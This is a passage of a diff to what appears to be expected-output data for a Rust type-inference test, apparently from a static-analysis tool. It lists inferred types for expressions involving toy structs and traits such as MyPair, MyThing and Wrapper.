S1 | +| main.rs:343:17:343:17 | a | | main.rs:175:5:179:5 | MyPair | +| main.rs:343:17:343:17 | a | P1 | main.rs:181:5:182:14 | S1 | +| main.rs:343:17:343:17 | a | P2 | main.rs:181:5:182:14 | S1 | +| main.rs:343:17:343:23 | a.fst() | | main.rs:181:5:182:14 | S1 | | main.rs:344:18:344:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:344:26:344:26 | y | | main.rs:155:5:156:14 | S1 | -| main.rs:347:13:347:13 | b | | main.rs:149:5:153:5 | MyPair | -| main.rs:347:13:347:13 | b | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:347:13:347:13 | b | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:347:17:347:41 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | -| main.rs:347:17:347:41 | MyPair {...} | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:347:17:347:41 | MyPair {...} | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:347:30:347:31 | S2 | | main.rs:157:5:158:14 | S2 | -| main.rs:347:38:347:39 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:348:13:348:13 | x | | main.rs:155:5:156:14 | S1 | -| main.rs:348:17:348:26 | get_fst(...) | | main.rs:155:5:156:14 | S1 | -| main.rs:348:25:348:25 | b | | main.rs:149:5:153:5 | MyPair | -| main.rs:348:25:348:25 | b | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:348:25:348:25 | b | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:349:18:349:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:349:26:349:26 | x | | main.rs:155:5:156:14 | S1 | -| main.rs:350:13:350:13 | y | | main.rs:157:5:158:14 | S2 | -| main.rs:350:17:350:26 | get_snd(...) | | main.rs:157:5:158:14 | S2 | -| main.rs:350:25:350:25 | b | | main.rs:149:5:153:5 | MyPair | -| main.rs:350:25:350:25 | b | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:350:25:350:25 | b | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:351:18:351:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:351:26:351:26 | y | | main.rs:157:5:158:14 | S2 | -| main.rs:353:13:353:13 | c | | main.rs:149:5:153:5 | MyPair | -| main.rs:353:13:353:13 | c | P1 | main.rs:159:5:160:14 | S3 | -| main.rs:353:13:353:13 | c | P2 | main.rs:149:5:153:5 | MyPair | -| main.rs:353:13:353:13 | c | P2.P1 | main.rs:157:5:158:14 | S2 | -| main.rs:353:13:353:13 | c | P2.P2 | main.rs:155:5:156:14 | S1 | -| main.rs:353:17:356:9 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | -| main.rs:353:17:356:9 | MyPair {...} | P1 | main.rs:159:5:160:14 | S3 | -| main.rs:353:17:356:9 | MyPair {...} | P2 | main.rs:149:5:153:5 | MyPair | -| main.rs:353:17:356:9 | MyPair {...} | P2.P1 | main.rs:157:5:158:14 | S2 | -| main.rs:353:17:356:9 | MyPair {...} | P2.P2 | main.rs:155:5:156:14 | S1 | -| main.rs:354:17:354:18 | S3 | | main.rs:159:5:160:14 | S3 | -| main.rs:355:17:355:41 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | -| main.rs:355:17:355:41 | MyPair {...} | P1 | main.rs:157:5:158:14 | S2 | -| main.rs:355:17:355:41 | MyPair {...} | P2 | main.rs:155:5:156:14 | S1 | -| main.rs:355:30:355:31 | S2 | | main.rs:157:5:158:14 | S2 | -| main.rs:355:38:355:39 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:357:13:357:13 | x | | main.rs:155:5:156:14 | S1 | -| main.rs:357:17:357:30 | get_snd_fst(...) | | main.rs:155:5:156:14 | S1 | -| main.rs:357:29:357:29 | c | | main.rs:149:5:153:5 | MyPair | -| main.rs:357:29:357:29 | c | P1 | main.rs:159:5:160:14 | S3 | -| main.rs:357:29:357:29 | c | P2 | main.rs:149:5:153:5 | MyPair | -| main.rs:357:29:357:29 | c | P2.P1 | main.rs:157:5:158:14 | S2 | -| main.rs:357:29:357:29 | c | P2.P2 | main.rs:155:5:156:14 | S1 | -| main.rs:359:13:359:17 | thing | | main.rs:144:5:147:5 | MyThing | -| main.rs:359:13:359:17 | thing | A | main.rs:155:5:156:14 | S1 | -| main.rs:359:21:359:37 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | -| main.rs:359:21:359:37 | MyThing {...} | A | main.rs:155:5:156:14 | S1 | -| main.rs:359:34:359:35 | S1 | | main.rs:155:5:156:14 | S1 | -| main.rs:360:17:360:21 | thing | | main.rs:144:5:147:5 | MyThing | -| main.rs:360:17:360:21 | thing | A | main.rs:155:5:156:14 | S1 | -| main.rs:361:13:361:13 | j | | main.rs:155:5:156:14 | S1 | -| main.rs:361:17:361:33 | convert_to(...) | | main.rs:155:5:156:14 | S1 | -| main.rs:361:28:361:32 | thing | | main.rs:144:5:147:5 | MyThing | -| main.rs:361:28:361:32 | thing | A | main.rs:155:5:156:14 | S1 | -| main.rs:370:26:370:29 | SelfParam | | main.rs:369:5:373:5 | Self [trait OverlappingTrait] | -| main.rs:372:28:372:31 | SelfParam | | main.rs:369:5:373:5 | Self [trait OverlappingTrait] | -| main.rs:372:34:372:35 | s1 | | main.rs:366:5:367:14 | S1 | -| main.rs:377:26:377:29 | SelfParam | | main.rs:366:5:367:14 | S1 | -| main.rs:377:38:379:9 | { ... } | | main.rs:366:5:367:14 | S1 | -| main.rs:378:20:378:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:382:28:382:31 | SelfParam | | main.rs:366:5:367:14 | S1 | -| main.rs:382:34:382:35 | s1 | | main.rs:366:5:367:14 | S1 | -| main.rs:382:48:384:9 | { ... } | | main.rs:366:5:367:14 | S1 | -| main.rs:383:20:383:31 | "not called" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:389:26:389:29 | SelfParam | | main.rs:366:5:367:14 | S1 | -| main.rs:389:38:391:9 | { ... } | | main.rs:366:5:367:14 | S1 | -| main.rs:390:13:390:16 | self | | main.rs:366:5:367:14 | S1 | -| main.rs:394:28:394:31 | SelfParam | | main.rs:366:5:367:14 | S1 | -| main.rs:394:40:396:9 | { ... } | | main.rs:366:5:367:14 | S1 | -| main.rs:395:13:395:16 | self | | main.rs:366:5:367:14 | S1 | -| main.rs:400:13:400:13 | x | | main.rs:366:5:367:14 | S1 | -| main.rs:400:17:400:18 | S1 | | main.rs:366:5:367:14 | S1 | -| main.rs:401:18:401:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:401:26:401:26 | x | | main.rs:366:5:367:14 | S1 | -| main.rs:401:26:401:42 | x.common_method() | | main.rs:366:5:367:14 | S1 | -| main.rs:402:18:402:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:402:26:402:26 | x | | main.rs:366:5:367:14 | S1 | -| main.rs:402:26:402:44 | x.common_method_2() | | main.rs:366:5:367:14 | S1 | -| main.rs:419:19:419:22 | SelfParam | | main.rs:417:5:420:5 | Self [trait FirstTrait] | -| main.rs:424:19:424:22 | SelfParam | | main.rs:422:5:425:5 | Self [trait SecondTrait] | -| main.rs:427:64:427:64 | x | | main.rs:427:45:427:61 | T | -| main.rs:429:13:429:14 | s1 | | main.rs:427:35:427:42 | I | -| main.rs:429:18:429:18 | x | | main.rs:427:45:427:61 | T | -| main.rs:429:18:429:27 | x.method() | | main.rs:427:35:427:42 | I | -| main.rs:430:18:430:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:430:26:430:27 | s1 | | main.rs:427:35:427:42 | I | -| main.rs:433:65:433:65 | x | | main.rs:433:46:433:62 | T | -| main.rs:435:13:435:14 | s2 | | main.rs:433:36:433:43 | I | -| main.rs:435:18:435:18 | x | | main.rs:433:46:433:62 | T | -| main.rs:435:18:435:27 | x.method() | | main.rs:433:36:433:43 | I | -| main.rs:436:18:436:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:436:26:436:27 | s2 | | main.rs:433:36:433:43 | I | -| main.rs:439:49:439:49 | x | | main.rs:439:30:439:46 | T | -| main.rs:440:13:440:13 | s | | main.rs:409:5:410:14 | S1 | -| main.rs:440:17:440:17 | x | | main.rs:439:30:439:46 | T | -| main.rs:440:17:440:26 | x.method() | | main.rs:409:5:410:14 | S1 | -| main.rs:441:18:441:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:441:26:441:26 | s | | main.rs:409:5:410:14 | S1 | -| main.rs:444:53:444:53 | x | | main.rs:444:34:444:50 | T | -| main.rs:445:13:445:13 | s | | main.rs:409:5:410:14 | S1 | -| main.rs:445:17:445:17 | x | | main.rs:444:34:444:50 | T | -| main.rs:445:17:445:26 | x.method() | | main.rs:409:5:410:14 | S1 | -| main.rs:446:18:446:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:446:26:446:26 | s | | main.rs:409:5:410:14 | S1 | -| main.rs:450:16:450:19 | SelfParam | | main.rs:449:5:453:5 | Self [trait Pair] | -| main.rs:452:16:452:19 | SelfParam | | main.rs:449:5:453:5 | Self [trait Pair] | -| main.rs:455:58:455:58 | x | | main.rs:455:41:455:55 | T | -| main.rs:455:64:455:64 | y | | main.rs:455:41:455:55 | T | -| main.rs:457:13:457:14 | s1 | | main.rs:409:5:410:14 | S1 | -| main.rs:457:18:457:18 | x | | main.rs:455:41:455:55 | T | -| main.rs:457:18:457:24 | x.fst() | | main.rs:409:5:410:14 | S1 | -| main.rs:458:13:458:14 | s2 | | main.rs:412:5:413:14 | S2 | -| main.rs:458:18:458:18 | y | | main.rs:455:41:455:55 | T | -| main.rs:458:18:458:24 | y.snd() | | main.rs:412:5:413:14 | S2 | -| main.rs:459:18:459:29 | "{:?}, {:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:459:32:459:33 | s1 | | main.rs:409:5:410:14 | S1 | -| main.rs:459:36:459:37 | s2 | | main.rs:412:5:413:14 | S2 | -| main.rs:462:69:462:69 | x | | main.rs:462:52:462:66 | T | -| main.rs:462:75:462:75 | y | | main.rs:462:52:462:66 | T | -| main.rs:464:13:464:14 | s1 | | main.rs:409:5:410:14 | S1 | -| main.rs:464:18:464:18 | x | | main.rs:462:52:462:66 | T | -| main.rs:464:18:464:24 | x.fst() | | main.rs:409:5:410:14 | S1 | -| main.rs:465:13:465:14 | s2 | | main.rs:462:41:462:49 | T2 | -| main.rs:465:18:465:18 | y | | main.rs:462:52:462:66 | T | -| main.rs:465:18:465:24 | y.snd() | | main.rs:462:41:462:49 | T2 | -| main.rs:466:18:466:29 | "{:?}, {:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:466:32:466:33 | s1 | | main.rs:409:5:410:14 | S1 | -| main.rs:466:36:466:37 | s2 | | main.rs:462:41:462:49 | T2 | -| main.rs:482:15:482:18 | SelfParam | | main.rs:481:5:490:5 | Self [trait MyTrait] | -| main.rs:484:15:484:18 | SelfParam | | main.rs:481:5:490:5 | Self [trait MyTrait] | -| main.rs:487:9:489:9 | { ... } | | main.rs:481:19:481:19 | A | -| main.rs:488:13:488:16 | self | | main.rs:481:5:490:5 | Self [trait MyTrait] | -| main.rs:488:13:488:21 | self.m1() | | main.rs:481:19:481:19 | A | -| main.rs:493:43:493:43 | x | | main.rs:493:26:493:40 | T2 | -| main.rs:493:56:495:5 | { ... } | | main.rs:493:22:493:23 | T1 | -| main.rs:494:9:494:9 | x | | main.rs:493:26:493:40 | T2 | -| main.rs:494:9:494:14 | x.m1() | | main.rs:493:22:493:23 | T1 | -| main.rs:498:49:498:49 | x | | main.rs:471:5:474:5 | MyThing | -| main.rs:498:49:498:49 | x | T | main.rs:498:32:498:46 | T2 | -| main.rs:498:71:500:5 | { ... } | | main.rs:498:28:498:29 | T1 | -| main.rs:499:9:499:9 | x | | main.rs:471:5:474:5 | MyThing | -| main.rs:499:9:499:9 | x | T | main.rs:498:32:498:46 | T2 | -| main.rs:499:9:499:11 | x.a | | main.rs:498:32:498:46 | T2 | -| main.rs:499:9:499:16 | ... .m1() | | main.rs:498:28:498:29 | T1 | -| main.rs:503:15:503:18 | SelfParam | | main.rs:471:5:474:5 | MyThing | -| main.rs:503:15:503:18 | SelfParam | T | main.rs:502:10:502:10 | T | -| main.rs:503:26:505:9 | { ... } | | main.rs:502:10:502:10 | T | -| main.rs:504:13:504:16 | self | | main.rs:471:5:474:5 | MyThing | -| main.rs:504:13:504:16 | self | T | main.rs:502:10:502:10 | T | -| main.rs:504:13:504:18 | self.a | | main.rs:502:10:502:10 | T | -| main.rs:509:13:509:13 | x | | main.rs:471:5:474:5 | MyThing | -| main.rs:509:13:509:13 | x | T | main.rs:476:5:477:14 | S1 | -| main.rs:509:17:509:33 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | -| main.rs:509:17:509:33 | MyThing {...} | T | main.rs:476:5:477:14 | S1 | -| main.rs:509:30:509:31 | S1 | | main.rs:476:5:477:14 | S1 | -| main.rs:510:13:510:13 | y | | main.rs:471:5:474:5 | MyThing | -| main.rs:510:13:510:13 | y | T | main.rs:478:5:479:14 | S2 | -| main.rs:510:17:510:33 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | -| main.rs:510:17:510:33 | MyThing {...} | T | main.rs:478:5:479:14 | S2 | -| main.rs:510:30:510:31 | S2 | | main.rs:478:5:479:14 | S2 | -| main.rs:512:18:512:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:512:26:512:26 | x | | main.rs:471:5:474:5 | MyThing | -| main.rs:512:26:512:26 | x | T | main.rs:476:5:477:14 | S1 | -| main.rs:512:26:512:31 | x.m1() | | main.rs:476:5:477:14 | S1 | -| main.rs:513:18:513:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:513:26:513:26 | y | | main.rs:471:5:474:5 | MyThing | -| main.rs:513:26:513:26 | y | T | main.rs:478:5:479:14 | S2 | -| main.rs:513:26:513:31 | y.m1() | | main.rs:478:5:479:14 | S2 | -| main.rs:515:13:515:13 | x | | main.rs:471:5:474:5 | MyThing | -| main.rs:515:13:515:13 | x | T | main.rs:476:5:477:14 | S1 | -| main.rs:515:17:515:33 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | -| main.rs:515:17:515:33 | MyThing {...} | T | main.rs:476:5:477:14 | S1 | -| main.rs:515:30:515:31 | S1 | | main.rs:476:5:477:14 | S1 | -| main.rs:516:13:516:13 | y | | main.rs:471:5:474:5 | MyThing | -| main.rs:516:13:516:13 | y | T | main.rs:478:5:479:14 | S2 | -| main.rs:516:17:516:33 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | -| main.rs:516:17:516:33 | MyThing {...} | T | main.rs:478:5:479:14 | S2 | -| main.rs:516:30:516:31 | S2 | | main.rs:478:5:479:14 | S2 | -| main.rs:518:18:518:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:518:26:518:26 | x | | main.rs:471:5:474:5 | MyThing | -| main.rs:518:26:518:26 | x | T | main.rs:476:5:477:14 | S1 | -| main.rs:518:26:518:31 | x.m2() | | main.rs:476:5:477:14 | S1 | -| main.rs:519:18:519:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:519:26:519:26 | y | | main.rs:471:5:474:5 | MyThing | -| main.rs:519:26:519:26 | y | T | main.rs:478:5:479:14 | S2 | -| main.rs:519:26:519:31 | y.m2() | | main.rs:478:5:479:14 | S2 | -| main.rs:521:13:521:14 | x2 | | main.rs:471:5:474:5 | MyThing | -| main.rs:521:13:521:14 | x2 | T | main.rs:476:5:477:14 | S1 | -| main.rs:521:18:521:34 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | -| main.rs:521:18:521:34 | MyThing {...} | T | main.rs:476:5:477:14 | S1 | -| main.rs:521:31:521:32 | S1 | | main.rs:476:5:477:14 | S1 | -| main.rs:522:13:522:14 | y2 | | main.rs:471:5:474:5 | MyThing | -| main.rs:522:13:522:14 | y2 | T | main.rs:478:5:479:14 | S2 | -| main.rs:522:18:522:34 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | -| main.rs:522:18:522:34 | MyThing {...} | T | main.rs:478:5:479:14 | S2 | -| main.rs:522:31:522:32 | S2 | | main.rs:478:5:479:14 | S2 | -| main.rs:524:18:524:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:524:26:524:42 | call_trait_m1(...) | | main.rs:476:5:477:14 | S1 | -| main.rs:524:40:524:41 | x2 | | main.rs:471:5:474:5 | MyThing | -| main.rs:524:40:524:41 | x2 | T | main.rs:476:5:477:14 | S1 | -| main.rs:525:18:525:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:525:26:525:42 | call_trait_m1(...) | | main.rs:478:5:479:14 | S2 | -| main.rs:525:40:525:41 | y2 | | main.rs:471:5:474:5 | MyThing | -| main.rs:525:40:525:41 | y2 | T | main.rs:478:5:479:14 | S2 | -| main.rs:527:13:527:14 | x3 | | main.rs:471:5:474:5 | MyThing | -| main.rs:527:13:527:14 | x3 | T | main.rs:471:5:474:5 | MyThing | -| main.rs:527:13:527:14 | x3 | T.T | main.rs:476:5:477:14 | S1 | -| main.rs:527:18:529:9 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | -| main.rs:527:18:529:9 | MyThing {...} | T | main.rs:471:5:474:5 | MyThing | -| main.rs:527:18:529:9 | MyThing {...} | T.T | main.rs:476:5:477:14 | S1 | -| main.rs:528:16:528:32 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | -| main.rs:528:16:528:32 | MyThing {...} | T | main.rs:476:5:477:14 | S1 | -| main.rs:528:29:528:30 | S1 | | main.rs:476:5:477:14 | S1 | -| main.rs:530:13:530:14 | y3 | | main.rs:471:5:474:5 | MyThing | -| main.rs:530:13:530:14 | y3 | T | main.rs:471:5:474:5 | MyThing | -| main.rs:530:13:530:14 | y3 | T.T | main.rs:478:5:479:14 | S2 | -| main.rs:530:18:532:9 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | -| main.rs:530:18:532:9 | MyThing {...} | T | main.rs:471:5:474:5 | MyThing | -| main.rs:530:18:532:9 | MyThing {...} | T.T | main.rs:478:5:479:14 | S2 | -| main.rs:531:16:531:32 | MyThing {...} | | main.rs:471:5:474:5 | MyThing | -| main.rs:531:16:531:32 | MyThing {...} | T | main.rs:478:5:479:14 | S2 | -| main.rs:531:29:531:30 | S2 | | main.rs:478:5:479:14 | S2 | -| main.rs:534:13:534:13 | a | | main.rs:476:5:477:14 | S1 | -| main.rs:534:17:534:39 | call_trait_thing_m1(...) | | main.rs:476:5:477:14 | S1 | -| main.rs:534:37:534:38 | x3 | | main.rs:471:5:474:5 | MyThing | -| main.rs:534:37:534:38 | x3 | T | main.rs:471:5:474:5 | MyThing | -| main.rs:534:37:534:38 | x3 | T.T | main.rs:476:5:477:14 | S1 | -| main.rs:535:18:535:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:535:26:535:26 | a | | main.rs:476:5:477:14 | S1 | -| main.rs:536:13:536:13 | b | | main.rs:478:5:479:14 | S2 | -| main.rs:536:17:536:39 | call_trait_thing_m1(...) | | main.rs:478:5:479:14 | S2 | -| main.rs:536:37:536:38 | y3 | | main.rs:471:5:474:5 | MyThing | -| main.rs:536:37:536:38 | y3 | T | main.rs:471:5:474:5 | MyThing | -| main.rs:536:37:536:38 | y3 | T.T | main.rs:478:5:479:14 | S2 | -| main.rs:537:18:537:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:537:26:537:26 | b | | main.rs:478:5:479:14 | S2 | -| main.rs:548:19:548:22 | SelfParam | | main.rs:542:5:545:5 | Wrapper | -| main.rs:548:19:548:22 | SelfParam | A | main.rs:547:10:547:10 | A | -| main.rs:548:30:550:9 | { ... } | | main.rs:547:10:547:10 | A | -| main.rs:549:13:549:16 | self | | main.rs:542:5:545:5 | Wrapper | -| main.rs:549:13:549:16 | self | A | main.rs:547:10:547:10 | A | -| main.rs:549:13:549:22 | self.field | | main.rs:547:10:547:10 | A | -| main.rs:557:15:557:18 | SelfParam | | main.rs:553:5:567:5 | Self [trait MyTrait] | -| main.rs:559:15:559:18 | SelfParam | | main.rs:553:5:567:5 | Self [trait MyTrait] | -| main.rs:563:9:566:9 | { ... } | | main.rs:554:9:554:28 | AssociatedType | -| main.rs:564:13:564:16 | self | | main.rs:553:5:567:5 | Self [trait MyTrait] | -| main.rs:564:13:564:21 | self.m1() | | main.rs:554:9:554:28 | AssociatedType | -| main.rs:565:13:565:43 | ...::default(...) | | main.rs:554:9:554:28 | AssociatedType | -| main.rs:573:19:573:23 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:573:19:573:23 | SelfParam | &T | main.rs:569:5:579:5 | Self [trait MyTraitAssoc2] | -| main.rs:573:26:573:26 | a | | main.rs:573:16:573:16 | A | -| main.rs:575:22:575:26 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:575:22:575:26 | SelfParam | &T | main.rs:569:5:579:5 | Self [trait MyTraitAssoc2] | -| main.rs:575:29:575:29 | a | | main.rs:575:19:575:19 | A | -| main.rs:575:35:575:35 | b | | main.rs:575:19:575:19 | A | -| main.rs:575:75:578:9 | { ... } | | main.rs:570:9:570:52 | GenericAssociatedType | -| main.rs:576:13:576:16 | self | | file://:0:0:0:0 | & | -| main.rs:576:13:576:16 | self | &T | main.rs:569:5:579:5 | Self [trait MyTraitAssoc2] | -| main.rs:576:13:576:23 | self.put(...) | | main.rs:570:9:570:52 | GenericAssociatedType | -| main.rs:576:22:576:22 | a | | main.rs:575:19:575:19 | A | -| main.rs:577:13:577:16 | self | | file://:0:0:0:0 | & | -| main.rs:577:13:577:16 | self | &T | main.rs:569:5:579:5 | Self [trait MyTraitAssoc2] | -| main.rs:577:13:577:23 | self.put(...) | | main.rs:570:9:570:52 | GenericAssociatedType | -| main.rs:577:22:577:22 | b | | main.rs:575:19:575:19 | A | -| main.rs:586:21:586:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:586:21:586:25 | SelfParam | &T | main.rs:581:5:591:5 | Self [trait TraitMultipleAssoc] | -| main.rs:588:20:588:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:588:20:588:24 | SelfParam | &T | main.rs:581:5:591:5 | Self [trait TraitMultipleAssoc] | -| main.rs:590:20:590:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:590:20:590:24 | SelfParam | &T | main.rs:581:5:591:5 | Self [trait TraitMultipleAssoc] | -| main.rs:606:15:606:18 | SelfParam | | main.rs:593:5:594:13 | S | -| main.rs:606:45:608:9 | { ... } | | main.rs:599:5:600:14 | AT | -| main.rs:607:13:607:14 | AT | | main.rs:599:5:600:14 | AT | -| main.rs:616:19:616:23 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:616:19:616:23 | SelfParam | &T | main.rs:593:5:594:13 | S | -| main.rs:616:26:616:26 | a | | main.rs:616:16:616:16 | A | -| main.rs:616:46:618:9 | { ... } | | main.rs:542:5:545:5 | Wrapper | -| main.rs:616:46:618:9 | { ... } | A | main.rs:616:16:616:16 | A | -| main.rs:617:13:617:32 | Wrapper {...} | | main.rs:542:5:545:5 | Wrapper | -| main.rs:617:13:617:32 | Wrapper {...} | A | main.rs:616:16:616:16 | A | -| main.rs:617:30:617:30 | a | | main.rs:616:16:616:16 | A | -| main.rs:625:15:625:18 | SelfParam | | main.rs:596:5:597:14 | S2 | -| main.rs:625:45:627:9 | { ... } | | main.rs:542:5:545:5 | Wrapper | -| main.rs:625:45:627:9 | { ... } | A | main.rs:596:5:597:14 | S2 | -| main.rs:626:13:626:35 | Wrapper {...} | | main.rs:542:5:545:5 | Wrapper | -| main.rs:626:13:626:35 | Wrapper {...} | A | main.rs:596:5:597:14 | S2 | -| main.rs:626:30:626:33 | self | | main.rs:596:5:597:14 | S2 | -| main.rs:632:30:634:9 | { ... } | | main.rs:542:5:545:5 | Wrapper | -| main.rs:632:30:634:9 | { ... } | A | main.rs:596:5:597:14 | S2 | -| main.rs:633:13:633:33 | Wrapper {...} | | main.rs:542:5:545:5 | Wrapper | -| main.rs:633:13:633:33 | Wrapper {...} | A | main.rs:596:5:597:14 | S2 | -| main.rs:633:30:633:31 | S2 | | main.rs:596:5:597:14 | S2 | -| main.rs:638:22:638:26 | thing | | main.rs:638:10:638:19 | T | -| main.rs:639:9:639:13 | thing | | main.rs:638:10:638:19 | T | -| main.rs:646:21:646:25 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:646:21:646:25 | SelfParam | &T | main.rs:599:5:600:14 | AT | -| main.rs:646:34:648:9 | { ... } | | main.rs:599:5:600:14 | AT | -| main.rs:647:13:647:14 | AT | | main.rs:599:5:600:14 | AT | -| main.rs:650:20:650:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:650:20:650:24 | SelfParam | &T | main.rs:599:5:600:14 | AT | -| main.rs:650:43:652:9 | { ... } | | main.rs:593:5:594:13 | S | -| main.rs:651:13:651:13 | S | | main.rs:593:5:594:13 | S | -| main.rs:654:20:654:24 | SelfParam | | file://:0:0:0:0 | & | -| main.rs:654:20:654:24 | SelfParam | &T | main.rs:599:5:600:14 | AT | -| main.rs:654:43:656:9 | { ... } | | main.rs:596:5:597:14 | S2 | -| main.rs:655:13:655:14 | S2 | | main.rs:596:5:597:14 | S2 | -| main.rs:660:13:660:14 | x1 | | main.rs:593:5:594:13 | S | -| main.rs:660:18:660:18 | S | | main.rs:593:5:594:13 | S | -| main.rs:662:18:662:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:662:26:662:27 | x1 | | main.rs:593:5:594:13 | S | -| main.rs:662:26:662:32 | x1.m1() | | main.rs:599:5:600:14 | AT | -| main.rs:664:13:664:14 | x2 | | main.rs:593:5:594:13 | S | -| main.rs:664:18:664:18 | S | | main.rs:593:5:594:13 | S | -| main.rs:666:13:666:13 | y | | main.rs:599:5:600:14 | AT | -| main.rs:666:17:666:18 | x2 | | main.rs:593:5:594:13 | S | -| main.rs:666:17:666:23 | x2.m2() | | main.rs:599:5:600:14 | AT | -| main.rs:667:18:667:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:667:26:667:26 | y | | main.rs:599:5:600:14 | AT | -| main.rs:669:13:669:14 | x3 | | main.rs:593:5:594:13 | S | -| main.rs:669:18:669:18 | S | | main.rs:593:5:594:13 | S | -| main.rs:671:18:671:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:671:26:671:27 | x3 | | main.rs:593:5:594:13 | S | -| main.rs:671:26:671:34 | x3.put(...) | | main.rs:542:5:545:5 | Wrapper | -| main.rs:671:26:671:34 | x3.put(...) | A | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:671:26:671:43 | ... .unwrap() | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:671:33:671:33 | 1 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:674:18:674:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:674:26:674:27 | x3 | | main.rs:593:5:594:13 | S | -| main.rs:674:36:674:36 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:674:39:674:39 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:676:20:676:20 | S | | main.rs:593:5:594:13 | S | -| main.rs:677:18:677:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:679:13:679:14 | x5 | | main.rs:596:5:597:14 | S2 | -| main.rs:679:18:679:19 | S2 | | main.rs:596:5:597:14 | S2 | -| main.rs:680:18:680:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:680:26:680:27 | x5 | | main.rs:596:5:597:14 | S2 | -| main.rs:680:26:680:32 | x5.m1() | | main.rs:542:5:545:5 | Wrapper | -| main.rs:680:26:680:32 | x5.m1() | A | main.rs:596:5:597:14 | S2 | -| main.rs:681:13:681:14 | x6 | | main.rs:596:5:597:14 | S2 | -| main.rs:681:18:681:19 | S2 | | main.rs:596:5:597:14 | S2 | -| main.rs:682:18:682:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | -| main.rs:682:26:682:27 | x6 | | main.rs:596:5:597:14 | S2 | -| main.rs:682:26:682:32 | x6.m2() | | main.rs:542:5:545:5 | Wrapper | -| main.rs:682:26:682:32 | x6.m2() | A | main.rs:596:5:597:14 | S2 | -| main.rs:684:13:684:22 | assoc_zero | | main.rs:599:5:600:14 | AT | -| main.rs:684:26:684:27 | AT | | main.rs:599:5:600:14 | AT | -| main.rs:684:26:684:38 | AT.get_zero() | | main.rs:599:5:600:14 | AT | -| main.rs:685:13:685:21 | assoc_one | | main.rs:593:5:594:13 | S | -| main.rs:685:25:685:26 | AT | | main.rs:599:5:600:14 | AT | -| main.rs:685:25:685:36 | AT.get_one() | | main.rs:593:5:594:13 | S | -| main.rs:686:13:686:21 | assoc_two | | main.rs:596:5:597:14 | S2 | -| main.rs:686:25:686:26 | AT | | main.rs:599:5:600:14 | AT | -| main.rs:686:25:686:36 | AT.get_two() | | 